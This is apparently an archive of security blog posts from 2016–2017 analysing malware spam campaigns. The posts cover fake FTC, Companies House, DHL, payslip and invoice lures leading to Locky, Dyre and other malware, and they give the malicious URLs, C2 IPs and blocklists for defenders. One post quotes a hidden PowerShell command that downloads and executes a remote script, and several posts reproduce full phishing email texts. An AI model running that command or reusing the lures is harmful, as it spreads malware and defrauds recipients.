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Monday 17 April 2017

Malware spam: "RE: RE: ftc refund" / secretary@ftccomplaintassistant.com

This fake FTC email leads to malware. Curiously, it was sent to a company that received a multimillion dollar FTC fine, but this is almost definitely a coincidence.

From:    Federal Trade Commission [secretary@ftccomplaintassistant.com]
Date:    17 April 2017 at 15:25
Subject:    RE: RE: ftc refund


It seems we can claim a refund from the FTC.
Check this out and give me a call.
https://www.ftc.gov/refunds/company/companyname.com/FTC_refund_recipientname.doc
Thank you
James Newman
Senior Accountant
secretary@ftccomplaintassistant.com
212-0061570

The link in the email actually goes to a URL beginning http://thecomplete180.com/view.php?id= followed by a Base 64 encoded string that appears to be 6281 + recipient email address + 5434 (so for president@whitehouse.gov it would be http://thecomplete180.com/view.php?id=NjI4MXByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdjU0MzQ=)

Obviously this downloaded document is up to no good, but the VirusTotal detection rates are only 5/56. The Word document itself tries to persuade victims to enable macros, which would be a bad idea.


Automated analysis [1] [2] shows network traffic to:

wasstalwihis.com/bdk/gate.php
littperevengpa.com/ls5/forum.php
littperevengpa.com/mlu/forum.php
littperevengpa.com/d1/about.php
hybridinformatica.com.br/blog/wp-content/themes/twentyeleven/inc/a1
hybridinformatica.com.br/blog/wp-content/themes/twentyeleven/inc/1
hybridinformatica.com.br/blog/wp-content/themes/twentyeleven/inc/2


It also appears to start sending traffic via Tor, which is a good reason to monitor Tor on your network. All sorts of files are dropped, most of which don't seem to be particularly malicious. "Gate.php" indicates a Pony downloader, but this does look like a tricky bugger.

Out of the domains contacted, littperevengpa.com and wasstalwihis.com shared the same registrant details and look fairly evil. We can associate the same registrant with the following domains:

soinwarep.com
ronwronsednot.com
withwasnothar.com
dingandrinfe.com
troverylit.com
derby-au.com
utonerutoft.com
situghlacsof.com
tinjecofsand.com
fortotrolhec.com
fydoratot.com
redwronwassdo.com
ronkeddari.com
littperevengpa.com
suranfortrep.com
newbillingplace.com
usps-daily-delivery.com
ringcentral-fax-inbox.com
wassheckgehan.com
wasstalwihis.com
meredondidn.com
satertdiut.com
vernothesled.com
veuntedund.com
ranwithtorsdo.com
notwipaar.com
dintrogela.com
adp-monthly-billling.com
rigakeddo.com
random-billing.com
hetoftinbut.com
hemlittratdidn.com

Perhaps more usefully, we can associate that registrant with the following IPs:

178.170.189.254 [hostname: nejokexulag.example.com] (Servachok Ltd, Russia)
185.146.1.4 (PS Internet Company LLC, Kazakhstan)
185.48.56.63 (Sinarohost, Netherlands)
185.80.53.76 (HZ Hosting, Bulgaria)
188.127.237.232 (SmartApe, Russia)
193.105.240.2 (Sia Vps Hosting, Latvia)
194.1.239.63 [hostname: nejokexulag.example.com] (Internet Hosting Ltd, Russia)
195.54.163.94 (PE Dobrogivskiy Muroslav Petrovich, Ukraine)
212.116.113.108 (Prometey Ltd, Russia)
46.148.26.87 [hostname: nejokexulag.infium.net] (Infium UAB, Ukraine)
47.90.202.88 (Alibaba.com, China)
77.246.149.100 [hostname: nejokexulag.e-vds.ru] (E-planet Ltd, Russia)
87.118.126.207 (Keyweb AG, Germany)
88.214.236.158 (Overoptic Systems, Russia)
91.230.211.67 [hostname: nejokexulag.freeopti.ru] (Optibit LLC, Russia)
93.189.43.36 (NTCOM, Russia)

This gives us a pretty useful minimum blocklist:

178.170.189.254
185.146.1.4
185.48.56.63
185.80.53.76
188.127.237.232
193.105.240.2
194.1.239.63
195.54.163.94
212.116.113.108
46.148.26.87
47.90.202.88
77.246.149.100
87.118.126.207
88.214.236.158
91.230.211.67
93.189.43.36




Thursday 13 April 2017

Malware spam: "Company Documents" / WebFilling@companieshousemail.co.uk and companieshouseemail.co.uk plus others

This spam email does not come from Companies House, but is instead a simple forgery with a malicious attachment:

From:    Companies House [WebFilling@companieshousemail.co.uk]
Date:    13 April 2017 at 11:10
Subject:    Company Documents
Signed by:    companieshousemail.co.uk



CH Logo

Company Documents

This message has been generated in response to the company complaint submitted to Companies House WebFiling service.

Please note: all forms must be answered or the form will be returned.

Service Desk tel +44 (0)303 8097 432 or email enquiries@companieshouse.gov.uk

Note: This email was sent from a notification-only email address which cannot accept incoming email. Please do not reply directly to this message.
 
Companies House 
Crown way
Maindy
Cardiff
CF14 3UZ
Crown Logo



Documents.doc
48K



---

I observed the email coming from the fake domains companieshousemail.co.uk and companieshouseemail.co.uk  but it looks like there may be more. Email is being send from servers in the 94.237.36.0/24 range (Upcloud Ltd, Finland) and I can see other servers set up to do the same thing:

companieshouseemail.co.uk  94.237.36.104
companieshouseemail.co.uk  94.237.36.145
companieshousemail.co.uk  94.237.36.146
companieshousemail.co.uk  94.237.36.147
companieshousesecure.co.uk  94.237.36.150
companieshousesecure.co.uk  94.237.36.151


Blocking email from the entire 94.237.36.0/24 range at least temporarily might be prudent.

The WHOIS details for these indicate they were registered today with presumably fake details, but that the registrar Nominet have somehow "verified".

Registrant:
Charlene hogg

Registrant type:
Unknown

Registrant's address:
37 Maberley Road
London
SE19 2JA
United Kingdom

Data validation:
Nominet was able to match the registrant's name and address against a 3rd party data source on 13-Apr-2017

Registrar:
GoDaddy.com, LLP. [Tag = GODADDY]
URL: http://uk.godaddy.com

Relevant dates:
Registered on: 13-Apr-2017
Expiry date:  13-Apr-2019
Last updated:  13-Apr-2017

Registration status:
Registered until expiry date.

Name servers:
ns29.domaincontrol.com
ns30.domaincontrol.com
All the attachments I have seen are the same with a current detection rate of 6/55. Hybrid Analysis of the document shows it downloading a component from shuswapcomputer.ca/images/banners/bannerlogo.png and a malicious executable %APPDATA%\pnwshqr.exe is dropped with a detection rate of 14/62.

Automated analysis of the binary [1] [2] show potentially malicious traffic going to:

107.181.161.221 (Total Server Solutions, US)
185.25.51.118 (Informacines sistemos ir technologijos UAB aka bacloud,com, Lithuania)


There are probably other destinations too. The payload appears to be Dyre / Dyreza.

Recommended blocklist:
94.237.36.0/24 (temporary email block only)
shuswapcomputer.ca
185.25.51.118
107.181.161.221





Tuesday 11 April 2017

Malware spam: "DHL Urgent Delivery"

This fake DHL spam includes the recipients real name. In this case it was sent to someone in Germany, but written in English. The malware payload is identical to this one in Polish.

Von: DHL Parcel [mailto:info@glaefcke.de]
Gesendet: Dienstag, 11. April 2017 11:03
An: [redacted]
Betreff: DHL Urgent Delivery

YOUR DELIVERY IS TODAY


Hi, [redacted]

The scheduled delivery is Tue Apr 11 2017 before End of Day.

Please check your shipment and contact details below. If you need to make a change or track your shipment, click

http://nolp.dhl.com/set_identcodes.do&email=[redacted] . (JS-Document)
SHIPMENT CONTENTS:DELIVERY INFORMATION


Shipment number: 9670515551
Scheduled Delivery Date: Tue Apr 11 2017
Delivery Time: before End of Day
Email Address: [redacted]

Thank you for using On Demand Delivery.

DHL Express - Excellence. Simply delivered. 


Malware spam: "Sprawdź stan przesylki DHL"

This spam targeting Polish victims seems quite widespread. It leads to malware. The email is personalised with the victim's real name which has been harvested from somewhere.

From: DHL Express (Poland) [mailto:biuro@nawigatorxxi.pl]
Sent: Monday, April 10, 2017 7:09 PM
To: [redacted]
Subject: Sprawdź stan przesylki DHL

Sprawdź stan przesylki DHL
Szanowny Kliencie, [redacted]

Informujemy, że w serwisie DHL24 zostało zarejestrowane zlecenie realizacji przesyłki, której jesteś odbiorcą.

Dane zlecenia:
- numer zlecenia:
9653788657

- data złożenia zlecenia:
poniedziałek, 10. kwietnia

Informacje o aktualnym statusie przesyłki znajdziesz na http://dhl24.com.pl/report.html&report=JavaScript&email=[redacted]. (JavaScript Raport)

Niniejsza wiadomość została wygenerowana automatycznie.

Dziękujemy za skorzystanie z naszych usług i aplikacji DHL24.

DHL Parcel (Poland)

UWAGA: Wiadomość ta zostaÅ‚a wygenerowana automatycznie. Prosimy nie odpowiadać funkcjÄ… Reply/Odpowiedz 

The link goes to a malicious Javascript [example here] [Malwr report] which downloads a binary from:

freight.eu.com/download3696 (159.100.181.107 - World Wide Web Hosting LLC, Netherlands)

..this has a detection rate of 10/60. This Malwr report plus observed activity show traffic to the following IPs and ports:

5.196.73.150:443 (OVH, France)
31.220.44.11:8080 (HostHatch, Netherlands)
46.165.212.76:8080 (Leaseweb, Germany)
109.228.13.169:443 (Fasthosts, UK)
119.82.27.246:8080 (Tsukaeru.net, Japan)
173.230.137.155:8080 (Linode, US)
173.255.229.121:443 (Linode, US)
203.121.145.40:8080 (Pacific Internet, Thailand)
206.214.220.79:8080 (ServInt, US)


There may be other phone home locations not observed.

Recommended blocklist:
5.196.73.150
31.220.44.11
46.165.212.76
109.228.13.169
119.82.27.246
159.100.181.107
173.230.137.155
173.255.229.121
203.121.145.40
206.214.220.79





Thursday 30 March 2017

Malware spam: "Re:Payment Remittance Copy"

This fake financial spam leads to malware.


From:    AL HUDA LTD [ap.office@triumftools.sk]
Date:    30 March 2017 at 09:05
Subject:    Re:Payment Remittance Copy
Signed by:    triumftools.sk

Dear Sir,

As instructed by your customer for your payment,

Find attached formal remittance copy received from our bank and contact your  client for payment confirmation. All payment details is in the attached HSBC TT-Copy.

Please Confirm
Best regards,
================================
Alan Bostock
Manager - Finance and Administration
HSBC Exchanger
TEL: (965) 24338094 -620                                  
FAX: (965) 24332815 Mobile: (965) 600-11-868
==================================


Attached is a .GZ archive HSBC TT-Copy.pdf.gz (this assumes you have a program on your Windows PC that can handle .gz files). This contains a malicious executable doc9876543234500001.exe which currently has a VirusTotal detection rate of 32/60.

Analysis of the binary is pending. You can be certain that it is nothing good.

Monday 20 March 2017

More highly personalised malspam using hijacked domains

Following on from this spam some weeks ago, another one comes in using a broadly similar technique of including the potential victim's real home address while using apparently hijacked infrastructure (although in this case the hijacking isn't so elaborate).

From: customerservice@newshocks.com [mailto:customerservice@newshocks.com]
Sent: 15 March 2017 18:23
Subject: [Redacted] Your order 003009 details




Hello [redacted],
We are delighted to confirm details of your recent order 003009. We will email you again as soon as the items you have chosen are on their way to you.
If you have an online account with us, you can log in here to see the current status of your order.
You will receive another e-mail from us when we have despatched your order.
Information on order 003009 status here
All prices include VAT at the current rate. A full VAT receipt will be included with your order.
Delivery Address:

[Name and address redacted]

If you have any questions, or something about your order isn't right, please contact us. Or you can simply reply to this e-mail.
Best regards and many thanks,

Contact Us Opening Times Delivery Options Returns Policy Privacy Policy Terms & Conditions


The newshocks.com domain used in the "From" field matches the sending server of rel209.newshocks.com (also mail.newshocks.com) on 185.141.164.209. This appears to be a legitimate but unused domain belonging to a distributor of car parts.

The link in the email goes to clipartwin.com/customers/customer-status-003009-verified which is currently 404ing so I can't tell what the payload is, although the previous payload appears to be Ramnit or similar. This is using another hijacked but apparently legitimate web server.

I don't know where the data has leaked from, but in this case the victim had lived at the address for the past four years.. so the leak cannot be ancient. If you have seen something similar or have an idea of where the data came from, please leave a comment below.


Wednesday 15 February 2017

Highly personalised malspam making extensive use of hijacked domains

This spam email contained not only the intended victim's name, but also their home address and an apparently valid mobile telephone number:

Sent: 14 February 2017 13:52
To: [redacted]
From: <customer@localpoolrepair.com>
Subject: Mr [Redacted] Your order G29804772-064 confirmation


Dear Mr [redacted],

Thank you for placing an order with us.

For your reference your order number is G29804772-064.

Please note this is an automated email. Please do not reply to this email.

Get your order G29804772-064 details

Your order has been placed and items in stock will be sent to the address shown below. Please check all the details of the order to ensure they are correct as we will be unable to make changes once the order has been processed. You will have been notified at the point of order if an item is out of stock already with expected delivery date.

Delivery Address
[address redacted]
[telephone number redacted]

Delivery Method:
Standard Delivery


Your Order Information
Prices include VAT at 20%


Customer Service Feedback
We are always working to improve the products and service we provide to our customers - we do this through a continual review of the product range, and ongoing training of our Customer Service Team. We continually strive to improve our levels of service and we welcome feedback from our customers regarding your buying experience and the product you receive.

Feefo Independent Reviews
21 days after your purchase, you will receive an email from the independent feedback company Feefo. It takes less than a minute to complete and we'd really appreciate your feedback!


IMPORTANT INFORMATION ABOUT YOUR ORDER

Delivery

Order Tracking
Once your order has left our warehouse we will email you to confirm that the items have been shipped and include tracking details of the parcel so that you may track delivery progress directly with our courier company.

Stock Availability
On very rare occasions not every item will be available when we come to pack and despatch your order. If this is the case you will receive an email from us letting you know which items are affected and an expected delivery time.

Product Returns
All items purchased are covered by our customer friendly returns policy. Please visit for full details.
Thank you for placing your order with us. We really appreciate your custom and will do everything within our power to ensure you get the very best of service.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://bebracelet.com/customerarea/notification-processing-G29804772-064.doc
--> http://customer.abudusolicitors.com/customerarea/notification-processing-G29804772-064.doc
--> https://customer.affiliate-labs.net/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at cristianinho.com [5.152.199.228 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 185.130.207.37 and 185.141.165.204 which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from mx119.argozelo.info on 188.214.88.119 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 188.214.88.110 through 188.214.88.142. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on 188.214.88.110 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from customer@localpoolrepair.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

 Query for localpoolrepair.com type=255 class=1
  localpoolrepair.com SOA (Zone of Authority)
        Primary NS: dns.site5.com
        Responsible person: hostmaster@site5.com
        serial:2017021207
        refresh:3600s (60 minutes)
        retry:3600s (60 minutes)
        expire:604800s (7 days)
        minimum-ttl:3600s (60 minutes)
  localpoolrepair.com A (Address) 143.95.232.95
  localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
  localpoolrepair.com NS (Nameserver) dns2.site5.com
  localpoolrepair.com NS (Nameserver) dns.site5.com
  localpoolrepair.com TXT (Text Field)
    v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32  ~all
So.. the SPF records are valid for sending servers in the 188.214.88.110 through 188.214.88.142 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?

Recommended blocklist (email)
188.214.88.0/24

Recommended blocklist (web)
5.152.199.228
185.130.207.37
185.141.165.204




Monday 19 December 2016

Malware spam: "Payslip for the month Dec 2016." leads to Locky

This fake financial spam leads to Locky ransomware:

From:    PATRICA GROVES
Date:    19 December 2016 at 10:12
Subject:    Payslip for the month Dec 2016.

Dear customer,

We are sending your payslip for the month Dec 2016 as an attachment with this mail.

Note: This is an auto-generated mail. Please do not reply.
The name of the sender will vary. Attached is a malicious Word document with a name like Payslip_Dec_2016_6946345.doc which has a VirusTotal detection rate of 12/55.

This Hybrid Analysis clearly shows Locky ransomware in action when the document is opened.

According to my usual reliable source, the various versions of this download a component from one of the following locations:

023pc.cn/8hrnv3
aguamineralsantacruz.com.br/8hrnv3
allard-g.be/8hrnv3
as-kanal-rohrreinigung.de/8hrnv3
aspecta-aso.net/8hrnv3
audehd.com/8hrnv3
audreyetsteve.fr/8hrnv3
baugildealtmark.de/8hrnv3
berstetaler.de/8hrnv3
birdhausdesign.com/8hrnv3
bperes.com.br/8hrnv3
brainfreezeapp.com/8hrnv3
delreywindows.com/8hrnv3
democracyandsecurity.org/8hrnv3
factoryfreeapparel.com/8hrnv3
garosero5.com/8hrnv3
globaser3000.com/8hrnv3
grafiquesvaros.com/8hrnv3
routerpanyoso.50webs.com/8hrnv3
skyers.awardspace.com/8hrnv3
www.andmax-rehabilitacja.pl/8hrnv3
www.bandhiga.com/8hrnv3
www.clinicafisiosan.com/8hrnv3
www.de-klinker.be/8hrnv3
www.foyerstg.pro/8hrnv3
www.globalchristiantrust.com/8hrnv3
www.neumayr-alkoven.com/8hrnv3
zimbabweaids.awardspace.com/8hrnv3

The malware then phones home to one of the following locations:

176.121.14.95/checkupdate (Rinet LLC, Ukraine)
193.201.225.124/checkupdate (PE Tetyana Mysyk, Ukraine)
188.127.237.76/checkupdate (SmartApe, Russia)
46.148.26.82/checkupdate (Infium, Latvia / Ukraine)


A DLL is dropped with a detection rate of 12/52.

Recommended blocklist:
176.121.14.95
193.201.225.124
188.127.237.76
46.148.26.82



Thursday 15 December 2016

Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

028cdxyk.com/mltxgc1
1688daigou.com/csuix
2lazy4u.de/ca4yq
adv-tech.ru/7p1jia
allan.multimediedesignerskive.dk/pohtr8mwl
amaniinitiative.org/ubaupn
artcoredesign.com/9ihg6by
atelier-coccolino.com/cvpphnaf7o
auto-zakaz.com.ua/phwcg
bantiki.me/hzzgidch
bikebrowse.com/qap3je2
blueprint-dsg.com/dtr22
bvntech.com/amrwwxei
chonamyoung.com/9vsdld
cprsim.com/h9o3msx
dealspari.com/r2jvx5h6kc
demo.ahost5.ru/dhvzqqbo
demo.pornuha4you.com/lba7ajvti
deutsch.awardspace.info/0zetkhmp
dicksmacker.com/qq4ctnrgc
dryerventexpress.com/pnpafot9g
elevationmusic.de/6gcg6
e-studiz.com/hn0hl7i
formatwerbung.de/axxlilgd
gieslerdavies.com/cjhwnit
goldenarms.myjino.ru/3wn40qkg
gwerucity.org.zw/a3fsqhu9od
happyfeet.de/7rebctpqn5
hho68.com/hbowe
honestflooring.com/85i95u6vd
houssiere.daniel.formations-web.alsace/npqddd8b
infinitecorp.ca/to7jp7
kawagebook.com/5cbwdd5hap
kayamuh.sarf.com.tr/nou0chc
ledticket.com/pbmcdnx5rj
lucapotenziani.com/zjtguxf
mainlinecarriers.co.tz/ycj7o
martawyczynska.com/ilfvn
mbdvacations.com/ou8kkem
movewithgrace.ca/r8omwc
obccllc.com/tze5um3hh
old.strommarnas.se/yazezuw7og
seven-cards.com/xe2llygi
spikaflora.ru/zyubd6mlb
store.elixe.net/jltuvjpcsh
test1.zrise.top/isk90e
testlife.ruyigou.com/pv2ryezg7
theexcelconsultant.com/vp9u7tpa
thezenatwork.com/yd2c49vg0
topstoneisland.com/ud4jqd
tunca.bel.tr/uo3jnqkgxn
ustadhanif.com/q0w93lkrvp
www.boldrini.org.br/csneth51
www.chocolaterie-servant.com/1l38y2p
www.englishworld.it/w6ynmr
www.kottalgenealogy.com/vkwf5rll0s
www.sapol.it/ou8e1ftep
zapotech.com/sqagj4
zhongguanjiaoshi.com/mklu7

The malware then phones home to the following locations:

185.129.148.56/checkupdate (MWTV, Latvia)
178.209.51.223/checkupdate [hostname: 454.SW.multiservers.xyz] (EDIS, Switzerland)
37.235.50.119/checkupdate [hostname: 454.2.SW.multiservers.xyz] (EDIS, Switzerland)


Recommended blocklist:
185.129.148.0/24
178.209.51.223
37.235.50.119

Malware spam: "Amount Payable" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Lynn Drake
Date:    15 December 2016 at 09:55
Subject:    Amount Payable

Dear [redacted],
The amount payable has come to $38.29. All details are in the attachment.
Please open the file when possible.


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Best Regards,
Lynn Drake
The name of the sender will vary, although the dollar amount seems consistent in all the samples I have seen. Attached is a file with a name similar to doc_6937209.zip which contains an apparently randomly-named script in a format similar to ~_ZJR8WZ_~.js. The highly obfuscated script of one sample can be seen here. Typical detection rates for the script are around 16/54.

There are many different scripts, downloading a component from one of the following locations (thanks to my usual reliable source):

0668.com/k5bhgn
250sb.com./jynvmx
addwords.com.tr/aah6qmhv
anti-dust.ru/7k6cp
asdream.pl/gbbs1c
atio.li/exjik
bappeda.dharmasrayakab.go.id/dlhalychp
braindouble.com/uycx51ix
buhoutserts.ru/ufdazc6vv
casino-okinawa.com/ejguf
catherineduret.ch/5qpqi5ezp
chinaxw.org/xw1ju7y6zc
chungcuvinhomemydinh.com/6dvjasf
crolic88.myjino.ru/1ddig
demo.shispare.com/bvsjq
environment.ae/0od5hn
forbrent.com/h9kqgq
fyd123.cn/kib6h2d9ga
groupeelectrogeneservice.com/eefpeywf9z
hedefosgb.com/dpyzsb6u
hlonline.kentucky.com/i7z78
innercityarts.squaremdesign.com/dyo1w7
jianhu365.com/z9puqdj2eu
malamut.org/gizb2zq
obaloco.com.br/67mfj
peopleprofit.in/pyihdg
roman64.humlak.cz/7bnisgf
rulebraker.ru/zsw4cnf9o
scaune.qmagazin.ro/5hktu4h
slankmethode.nl/4zzq1am
subys.com/mjguriv80
szwanrong.com/x5qxzpjsi
tecnomundo.uy/a8rnlgzv
test1.giaiphaponline.org/0ytdjs1
test.sousouyo.com/feaetpnuee
theamericanwake.com/xw1ju7y6zc
travelinsider.com.au/mwaefb4b
trietlong.net/heyus
tx318.com/kqe4ca
ucbus.net/usdxqqt6
u-niwon.com/kmjg6j9ske
vaaren.dk/ogcz6ys0d
viscarci.com/wyqs6353
walkonwheels.net.au/qmd1uu
wdcd999.com/lm5z2snyqn
web-shuttle.in/eeo9oc
windshieldrepairvancouver.ca/qcp8k7
wiselysoft.com/qcymgbug7
wszystkodokuchni.pl/sl5yko7
wudiai.com/mc3hnwd
www.espansioneimmobiliare.com/akktnck
www.myboatplans.net/6d7ukeco6
wx.utaidu.com/1eybujbru
xlr8services.com/n970foumf
xn--k1affefe.xn--p1ai/8wzzjk24u
youspeak.pt/liowrtxs
yukngobrol.com/h7sfu
zhiyuw.com/qfbdcvrul
zwljfc.com/ld1pvjozu
zzzort10xtest123.com/nin5k3bwo

According to this Malwr analysis, a DLL is dropped with a detection rate of 18/55.  This Hybrid Analysis shows the Locky infection clearly and identifies some C2s, combining this with another source gives the following list of C2 servers:

86.110.117.155/checkupdate (Rustelekom, Russia)
185.129.148.56/checkupdate (MWTV, Latvia)
185.17.120.166/checkupdate (Rustelekom, Russia)


MWTV is a known bad host, so I recommend blocking the entire /24.

Recommended blocklist:
86.110.117.155
185.129.148.0/24
185.17.120.166


Monday 12 December 2016

Malware spam: "New(910)" leads to Locky

This spam leads to Locky ransomware:

From:    Savannah [Savannah807@victimdomain.tld]
Reply-To:    Savannah [Savannah807@victimdomain.tld]
Date:    12 December 2016 at 09:50
Subject:    New(910)

Scanned by CamScanner


Sent from Yahoo Mail on Android

The spam appears to come from a sender within the victim's own domain, but this is just a simple forgery. The attachment name is a .DOCM file matching the name in the subject. Automated analysis [1] [2] indicates that it works in a similar way to this other Locky ransomware run today.

Malware spam: "Invoice number: 947781" leads to Locky

This fake financial spam comes from multiple senders and leads to Locky ransomware:


From:    AUTUMN RHINES
Date:    12 December 2016 at 10:40
Subject:    Invoice number: 947781

Please find attached a copy of your invoice.


Tel: 0800 170 7234
Fax: 0161 850 0404

For all your stationery needs please visit Stationerybase.
The name of the sender varies, as does the fake invoice number. Attached is a .DOCM file with a filename matching that invoice number. Typical detection rates for the DOCM file are 13/56.

Automated analysis of a couple of these files [1] [2] [3] [4] show the macro downloading a component from miel-maroc.com/874ghv3  (there are probably many more locations). A DLL is dropped with a current detection rate of 11/57.

All those analyses indicate that this is Locky ransomware (Osiris variant), phoning home to:

176.121.14.95/checkupdate (Rinet LLC, Ukraine)
88.214.236.218/checkupdate (Overoptic Systems, UK / Russia)
91.219.31.14/checkupdate (FLP Kochenov Aleksej Vladislavovich aka uadomen.com, Ukraine)


Recommended blocklist:
176.121.14.95
88.214.236.218
91.219.31.14